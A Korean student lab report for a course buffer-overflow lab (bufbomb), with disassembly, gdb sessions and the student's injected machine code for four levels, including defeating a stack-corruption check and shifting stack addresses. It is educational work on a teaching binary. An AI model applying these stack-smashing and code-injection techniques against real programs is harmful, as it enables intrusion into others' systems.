Lab report #4

CSED 20170302 Kim Dae Hui

이번 랩은 buffer\_lab이다. assembly언어로 되어 있는 환경에서 buffer overflow를 발생시켜 함수가 원하는 기능을 하도록 input을 넣으면 되는 것이다. 본 랩은 수업 pdf 버퍼오버플로우와 메모리부분을 참조하여 메모리의 구조와 buffer overflow의 기본을 익히고 나서 하면 좋을 것 같다.

먼저 makecookie를 이용하여 얻은 내 학번의 cookie는 0x1a0b4cc9이다.

|  |
| --- |
| 08048a6e <fizz>:  8048a6e: 55 push %ebp  8048a6f: 89 e5 mov %esp,%ebp  8048a71: 83 ec 08 sub $0x8,%esp  8048a74: 8b 55 08 mov 0x8(%ebp),%edx  8048a77: a1 e4 c1 04 08 mov 0x804c1e4,%eax  8048a7c: 39 c2 cmp %eax,%edx  8048a7e: 75 21 jne 8048aa1 <fizz+0x33>  8048a80: 8b 45 08 mov 0x8(%ebp),%eax  8048a83: 89 44 24 04 mov %eax,0x4(%esp)  8048a87: c7 04 24 cb a3 04 08 movl $0x804a3cb,(%esp)  8048a8e: e8 0d fe ff ff call 80488a0 <printf@plt>  8048a93: c7 04 24 01 00 00 00 movl $0x1,(%esp)  8048a9a: e8 88 08 00 00 call 8049327 <validate>  8048a9f: eb 13 jmp 8048ab4 <fizz+0x46>  8048aa1: 8b 45 08 mov 0x8(%ebp),%eax  8048aa4: 89 44 24 04 mov %eax,0x4(%esp)  8048aa8: c7 04 24 ec a3 04 08 movl $0x804a3ec,(%esp)  8048aaf: e8 ec fd ff ff call 80488a0 <printf@plt>  8048ab4: c7 04 24 00 00 00 00 movl $0x0,(%esp)  8048abb: e8 a0 fe ff ff call 8048960 <exit@plt> |

1번문제에서는 fizz에 들어가는 인자가 나의 cookie값과 같아져야 validate호출이 일어나게 된다. Eax에 들어가게 되는 값인 0x804c1e4과 ebp 2바이트 위에 저장된 값인 edx의 값을 비교하여 validate여부를 결정하게 되는 구조이다. 내 getbuf함수를 뜯어보면 32byte만큼을 받게 되는 구조이다. 따라서 32바이트만큼을 아무 값이나 51같이 의미 없는 값들로 채워주고 추가로4byte만큼을 old ebp도 채워준다. 그 후 fizz의 주소를 little endian으로 넣어주면 된다. 그런데 eax와 edx가 비교되어 cookie와 같아야 한다. 따라서 fizz의 주솟값 다음으로 내 cookie를 적어줘야 한다. 근데 바로 적어주니깐 돌아가지 않아 확인해보니 그다음 4바이트를 dummy값을 준 후 cookie를 넣어주니 실행이 되었다. 아마 edx의 주솟값을 esp에서8바이트만큼 제했기 때문에 이렇게 되는 것 같다.

|  |
| --- |
| 08048ac0 <bang>:  8048ac0: 55 push %ebp  8048ac1: 89 e5 mov %esp,%ebp  8048ac3: 83 ec 08 sub $0x8,%esp  8048ac6: a1 ec c1 04 08 mov 0x804c1ec,%eax  8048acb: 89 c2 mov %eax,%edx  8048acd: a1 e4 c1 04 08 mov 0x804c1e4,%eax  8048ad2: 39 c2 cmp %eax,%edx  8048ad4: 75 23 jne 8048af9 <bang+0x39>  8048ad6: a1 ec c1 04 08 mov 0x804c1ec,%eax  8048adb: 89 44 24 04 mov %eax,0x4(%esp)  8048adf: c7 04 24 0c a4 04 08 movl $0x804a40c,(%esp)  8048ae6: e8 b5 fd ff ff call 80488a0 <printf@plt>  8048aeb: c7 04 24 02 00 00 00 movl $0x2,(%esp)  8048af2: e8 30 08 00 00 call 8049327 <validate>  8048af7: eb 15 jmp 8048b0e <bang+0x4e>  8048af9: a1 ec c1 04 08 mov 0x804c1ec,%eax  8048afe: 89 44 24 04 mov %eax,0x4(%esp)  8048b02: c7 04 24 31 a4 04 08 movl $0x804a431,(%esp)  8048b09: e8 92 fd ff ff call 80488a0 <printf@plt>  8048b0e: c7 04 24 00 00 00 00 movl $0x0,(%esp)  8048b15: e8 46 fe ff ff call 8048960 <exit@plt>  <1>  0x55683108 <\_reserved+1036552>: 0x55683110 0x0067c416 0x61616161 0x61616161  0x55683118 <\_reserved+1036568>: 0x61616161 0x61616161 0x61616161 0x61616161  0x55683128 <\_reserved+1036584>: 0x61616161 0x61616161 0xbbbbbbbb 0xcccccccc  0x55683138 <\_reserved+1036600>: 0xdddddddd 0xeeeeeeee 0xc1ec05c7 0x0b1a0804  0x55683148 <\_reserved+1036616>: 0x1268c94c 0xc3080490 0x55685f00 0x08048e58  <2>  f.o: file format elf32-i386  Disassembly of section .text:  00000000 <.text>:  0: c7 05 ec c1 04 08 c9 movl $0x1a0b4cc9,0x804c1ec  7: 4c 0b 1a  a: 68 c0 8a 04 08 push $0x8048ac0  f: c3 ret |

2번 문제를 풀기 위해 우선 bang함수를 disas해본다. 그리고 나서 0x804c1ec에 들어있는 값을 edx에 들어가고 그 후 eax에 들어오는 값과 비교한다. 우선은 run –u 20170302로 run을 해보면서 I r 명령어로 레지스터에 들어가 있는 값들을 비교해 본다. Global\_value에 쿠키값을 넣어야하는데 그걸 넣어주는 코드가 따로 없으므로 따로 assembly code를 작성하여 그 주소로 넘어가게끔 buffer를 조정해서 문제를 해결하자. 먼저 <2>처럼 코드를 작성하여 내 쿠키값을 0x804c1ec에 넣어주고 bang으로 돌아가게금 한다.그리고 나서 esp의 주솟값과 그 이후 주소들이 쓰여진 부분을 보기 위해 x/20x $esp 명령어로 이를 파악해본다. 우선은 더미값들을 많이 넣어준 후 이를 확인해보면 <1>을 보면 0x556840 이후부터 내가 쓴 코드가 들어가게 된 것을 알 수 있다. 내 버퍼의 크기는 32바이트이므로 거기에 return address가 들어갔던 4byte를 추가로 더하여 36byte만큼의 dummy를 넣어주고 그 후로 내가 쓴 기계어 코드의 주소를 새로 담은 4byte와 (오버플로우 발생지점) 쭉 내 쿠키를 포함한 기계어 코드 주소들을 쭉 적어주면 문제가 해결된다.

|  |
| --- |
| Dump of assembler code for function test:  0x08048b1a <test+0>: push %ebp  0x08048b1b <test+1>: mov %esp,%ebp  0x08048b1d <test+3>: sub $0x18,%esp  0x08048b20 <test+6>: call 0x8048f52 <uniqueval>  0x08048b25 <test+11>: mov %eax,-0x8(%ebp)  0x08048b28 <test+14>: call 0x80491bc <getbuf>  0x08048b2d <test+19>: mov %eax,-0x4(%ebp)  0x08048b30 <test+22>: call 0x8048f52 <uniqueval>  0x08048b35 <test+27>: mov %eax,%edx  0x08048b37 <test+29>: mov -0x8(%ebp),%eax  0x08048b3a <test+32>: cmp %eax,%edx  0x08048b3c <test+34>: je 0x8048b4c <test+50>  0x08048b3e <test+36>: movl $0x804a450,(%esp)  0x08048b45 <test+43>: call 0x8048900 <puts@plt>  0x08048b4a <test+48>: jmp 0x8048b8c <test+114>  0x08048b4c <test+50>: mov -0x4(%ebp),%edx  0x08048b4f <test+53>: mov 0x804c1e4,%eax  0x08048b54 <test+58>: cmp %eax,%edx  0x08048b56 <test+60>: jne 0x8048b79 <test+95>  0x08048b58 <test+62>: mov -0x4(%ebp),%eax  0x08048b5b <test+65>: mov %eax,0x4(%esp)  0x08048b5f <test+69>: movl $0x804a479,(%esp)  0x08048b66 <test+76>: call 0x80488a0 <printf@plt>  0x08048b6b <test+81>: movl $0x3,(%esp)  0x08048b72 <test+88>: call 0x8049327 <validate>  0x08048b77 <test+93>: jmp 0x8048b8c <test+114>  0x08048b79 <test+95>: mov -0x4(%ebp),%eax  0x08048b7c <test+98>: mov %eax,0x4(%esp)  0x08048b80 <test+102>: movl $0x804a496,(%esp)  0x08048b87 <test+109>: call 0x80488a0 <printf@plt>  0x08048b8c <test+114>: leave  0x08048b8d <test+115>: ret  End of assembler dump.  a.o: file format elf32-i386  Disassembly of section .text:  <1>  00000000 <.text>:  0: b8 c9 4c 0b 1a mov $0x1a0b4cc9,%eax  5: 68 2d 8b 04 08 push $0x8048b2d  a: c3 ret |

3번 문제는 2번문제와 유사하지만 한 가지가 다르다. 3번문제에서는 corruption을 감지하도록 test가 설계되어 있기 때문에 인자를 나의 쿠키로 만듦과 동시에 corruption되지 않은 상태로 돌려 놓는 기계어 코드를 작성해서 해결해야 한다.

test코드를 보면 첫번째 eax와 두번째 eax가되는 부분을 비교해서 stack이 corrupt되었는지 검사하게 된다. 따라서 이 부분이 달라지면 해킹이 일어남을 감지하게 된다. 그렇기에 나는 기계어 코드를 짤때 내 쿠키값을 eax에 집어넣어주고 getbuf의 return이 되는 getbuf콜 그 다음 줄의 값을 내 쿠키로 넣어주도록 <1>과 같이 코드를 작성하여 getbuf다음 줄으로 return하게 해주면 된다. 그 후 원래 내 기계어코드를 쓰기 전에 있던 old ebp의 주솟값을 검사해보면 0x55683150값이 저장되어 있던 것을 알 수 있다. 따라서 버퍼 오버플로우를 발생시키기 위해 32개의 dummy값을 준 후 old ebp값인 55683150값을 little endian으로 넣어주고 내가 짠 기계어 코드의 주소를 넣어주면 old ebp값을 고정(사실 내가 넣어주는 거지만)하면서 getbuf의 return값을 내가 짠 코드로 조정할 수 있다.

|  |
| --- |
| Dump of assembler code for function getbufn:  0x080491d4 <getbufn+0>: push %ebp  0x080491d5 <getbufn+1>: mov %esp,%ebp  0x080491d7 <getbufn+3>: sub $0x208,%esp  0x080491dd <getbufn+9>: lea -0x200(%ebp),%eax  0x080491e3 <getbufn+15>: mov %eax,(%esp)  0x080491e6 <getbufn+18>: call 0x8048ca1 <Gets>  0x080491eb <getbufn+23>: mov $0x1,%eax  0x080491f0 <getbufn+28>: leave  0x080491f1 <getbufn+29>: ret  End of assembler dump.  Dump of assembler code for function testn:  0x08048b8e <testn+0>: push %ebp  0x08048b8f <testn+1>: mov %esp,%ebp  0x08048b91 <testn+3>: sub $0x18,%esp  0x08048b94 <testn+6>: call 0x8048f52 <uniqueval>  0x08048b99 <testn+11>: mov %eax,-0x8(%ebp)  0x08048b9c <testn+14>: call 0x80491d4 <getbufn>  0x08048ba1 <testn+19>: mov %eax,-0x4(%ebp)  0x08048ba4 <testn+22>: call 0x8048f52 <uniqueval>  0x08048ba9 <testn+27>: mov %eax,%edx  0x08048bab <testn+29>: mov -0x8(%ebp),%eax  0x08048bae <testn+32>: cmp %eax,%edx  0x08048bb0 <testn+34>: je 0x8048bc0 <testn+50>  0x08048bb2 <testn+36>: movl $0x804a450,(%esp)  0x08048bb9 <testn+43>: call 0x8048900 <puts@plt>  0x08048bbe <testn+48>: jmp 0x8048c00 <testn+114>  0x08048bc0 <testn+50>: mov -0x4(%ebp),%edx  0x08048bc3 <testn+53>: mov 0x804c1e4,%eax  0x08048bc8 <testn+58>: cmp %eax,%edx  0x08048bca <testn+60>: jne 0x8048bed <testn+95>  0x08048bcc <testn+62>: mov -0x4(%ebp),%eax  0x08048bcf <testn+65>: mov %eax,0x4(%esp)  0x08048bd3 <testn+69>: movl $0x804a4b4,(%esp)  0x08048bda <testn+76>: call 0x80488a0 <printf@plt>  0x08048bdf <testn+81>: movl $0x4,(%esp)  0x08048be6 <testn+88>: call 0x8049327 <validate>  0x08048beb <testn+93>: jmp 0x8048c00 <testn+114>  0x08048bed <testn+95>: mov -0x4(%ebp),%eax  0x08048bf0 <testn+98>: mov %eax,0x4(%esp)  0x08048bf4 <testn+102>: movl $0x804a4d4,(%esp)  0x08048bfb <testn+109>: call 0x80488a0 <printf@plt>  0x08048c00 <testn+114>: leave  0x08048c01 <testn+115>: ret  End of assembler dump.  <1>  f.o: file format elf32-i386  Disassembly of section .text:  00000000 <.text>:  0: 8d 6c 24 18 lea 0x18(%esp),%ebp  4: b8 c9 4c 0b 1a mov $0x1a0b4cc9,%eax  9: 68 a1 8b 04 08 push $0x8048ba1  e: c3 ret  <2>  Breakpoint 1, 0x080491dd in getbufn ()  (gdb) p/x ($ebp-0x200)  **$1 = 0x55682f30**  (gdb) cont  Continuing.  Type string:dd  Dud: getbufn returned 0x1  Better luck next time  Breakpoint 1, 0x080491dd in getbufn ()  (gdb) p/x ($ebp-0x200)  **$2 = 0x55682f80**  (gdb) cont  Continuing.  Type string:dd  Dud: getbufn returned 0x1  Better luck next time  Breakpoint 1, 0x080491dd in getbufn ()  (gdb) p/x ($ebp-0x200)  **$3 = 0x55682eb0**  (gdb) cont  Continuing.  Type string:dd  Dud: getbufn returned 0x1  Better luck next time  Breakpoint 1, 0x080491dd in getbufn ()  (gdb) p/x ($ebp-0x200)  **$4 = 0x55682f20**  (gdb) dd  Undefined command: "dd". Try "help".  (gdb) cont  Continuing.  Type string:dd  Dud: getbufn returned 0x1  Better luck next time  Breakpoint 1, 0x080491dd in getbufn ()  (gdb) p/x ($ebp-0x20  **$5 = 0x55682f20**  (gdb) cont  Continuing.  Type string:dd  Dud: getbufn returned 0x1  Better luck next time  <3>  (gdb) run -nu 20170302 < kaboom.txt  Starting program: /home/std/andrea0119/buflab-handout/bufbomb -nu 20170302 < kaboom.txt  Userid: 20170302  Cookie: 0x1a0b4cc9  Type string:KABOOM!: getbufn returned 0x1a0b4cc9  Keep going  Type string:KABOOM!: getbufn returned 0x1a0b4cc9  Keep going  Type string:KABOOM!: getbufn returned 0x1a0b4cc9  Keep going  Type string:KABOOM!: getbufn returned 0x1a0b4cc9  Keep going  Type string:KABOOM!: getbufn returned 0x1a0b4cc9  VALID  NICE JOB! |

4번 문제는 앞선 문제들과 다르게 명령어 앞에 n을 붙여서 확인해야 한다. 그리고 testn함수와 getbufn함수를 사용한다. Getbufn 함수의 버퍼크기를 보면

0x080491dd <getbufn+9>: lea -0x200(%ebp),%eax

를 통해 512바이트 임을 알 수 있다. 즉 버퍼가 512바이트만큼의 공간을 가짐을 알 수 있다. 함수자체는 3번의 test와 유사하다. 따라서 3번과 마찬가지로 기계어 코드를 작성할 때 리턴값을 나의 쿠키로 주고 getbufn의 return부분으로 다시 돌아가게끔해주는 코드를 작성해주어야 한다. 그리고 testn에서 esp와 ebp의 값은0x18만큼의 주소가 차이나게끔 설정되어 있는 점을 알 수 있다. 따라서 그 주솟값만큼의 차이를 유지해주어야한다. 그 점을 유의하여 <1>과 같이 기계어 코드를 작성해준다.

Testn은 test와 다르게 <2>처럼 5번의 주소값 검사가 나타난다. 따라서 버퍼로 들어가게 되는 값들의 첫주소인 ebp-200의 주솟값들을 알아본다. <2>를보면 그 주소값들이 계속 바뀜을 알 수 있다. 따라서 return된 주소들 중 가장 큰 값인 0x5568f80으로 우리가 짠 기계어 코드가 들어가야 함을 알 수 있다.

Getbufn의 바이트크기인 512바이트와 old ebp영역인 4바이트는 총516바이트인데 그 중 내가 짠 기계어 코드는 15바이트이므로 501바이트만큼을 dummy로 채워주면 된다. dummy이후에 내가짠 기계어 코드와 return address로 설정한 0x5568f80을 little endian으로 채워주면 끝나게 된다.